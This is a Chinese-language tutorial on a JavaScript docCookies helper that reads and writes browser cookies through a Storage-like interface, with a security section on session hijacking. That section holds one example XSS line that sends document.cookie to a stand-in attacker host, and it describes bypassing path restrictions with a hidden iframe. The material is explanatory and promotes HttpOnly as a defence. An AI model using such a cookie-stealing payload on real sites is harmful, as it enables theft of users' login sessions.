像操作Storage对象一样操作cookie
作为一个格式化过的字符串,cookie的值有时很难被自然地处理。下面的库的目的是通过定义一个和Storage对象部分一致的对象(docCookies),简化document.cookie 的获取方法。它提供完全的Unicode支持。
实现它
1 | var docCookies = { |
用法
1.写入cookie
语法
1 docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
描述
创建或覆盖一个cookie
参数name (必要)
要创建或覆盖的cookie的名字 (string)。value (必要)
cookie的值 (string)。end (可选)
最大年龄的秒数 (一年为31536e3, 永不过期的cookie为Infinity) ,或者过期时间的GMTString格式或Date对象; 如果没有定义则会在会话结束时过期 (number – 有限的或 Infinity – string, Date object or null)。path (可选)
例如 ‘/‘, ‘/mydir’。 如果没有定义,默认为当前文档位置的路径。(string or null)。路径必须为绝对路径(参见 RFC 2965)。关于如何在这个参数使用相对路径的方法请参见这段。domain (可选)
例如 ‘example.com’, ‘.example.com’ (包括所有子域名), ‘subdomain.example.com’。如果没有定义,默认为当前文档位置的路径的域名部分 (string或null)。secure (可选)
cookie只会被https传输 (boolean或null)。
2.获取cookie
语法
1 docCookies.getItem(name)
描述
读取一个cookie。如果cookie不存在返回null。
参数name
读取的cookie名 (string).
3.移除cookie
语法
1 docCookies.removeItem(name[, path],domain)
描述
删除一个cookie。
参数name
要移除的cookie名(string).path (可选)
例如 ‘/‘, ‘/mydir’。 如果没有定义,默认为当前文档位置的路径。(string or null)。路径必须为绝对路径(参见 RFC 2965)。关于如何在这个参数使用相对路径的方法请参见这段。domain (可选)
例如 ‘example.com’, ‘.example.com’ (包括所有子域名), ‘subdomain.example.com’。如果没有定义,默认为当前文档位置的路径的域名部分 (string或null)。
4.检测cookie
语法
1 docCookies.hasItem(name)
描述
检查一个cookie是否存在
参数name
要检查的cookie名 (string).
5.得到所有cookie的列表
语法
1 docCookies.keys()
描述
返回一个这个路径所有可读的cookie的数组。
示例用法:
1 | docCookies.setItem("test0", "Hello world!"); |
安全
路径限制并不能阻止从其他路径访问cookie. 使用简单的DOM即可轻易地绕过限制(比如创建一个指向限制路径的, 隐藏的
iframe
, 然后访问其 contentDocument.cookie 属性). 保护cookie不被非法访问的唯一方法是将它放在另一个域名/子域名之下, 利用同源策略
保护其不被读取.
Web应用程序通常使用cookies来标识用户身份及他们的登录会话. 因此通过窃听这些cookie, 就可以劫持已登录用户的会话. 窃听的cookie的常见方法包括社会工程和XSS攻击 -
1 (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnly 属性可以阻止通过javascript访问cookie, 从而一定程度上遏制这类攻击. 参见 Cookies and Security.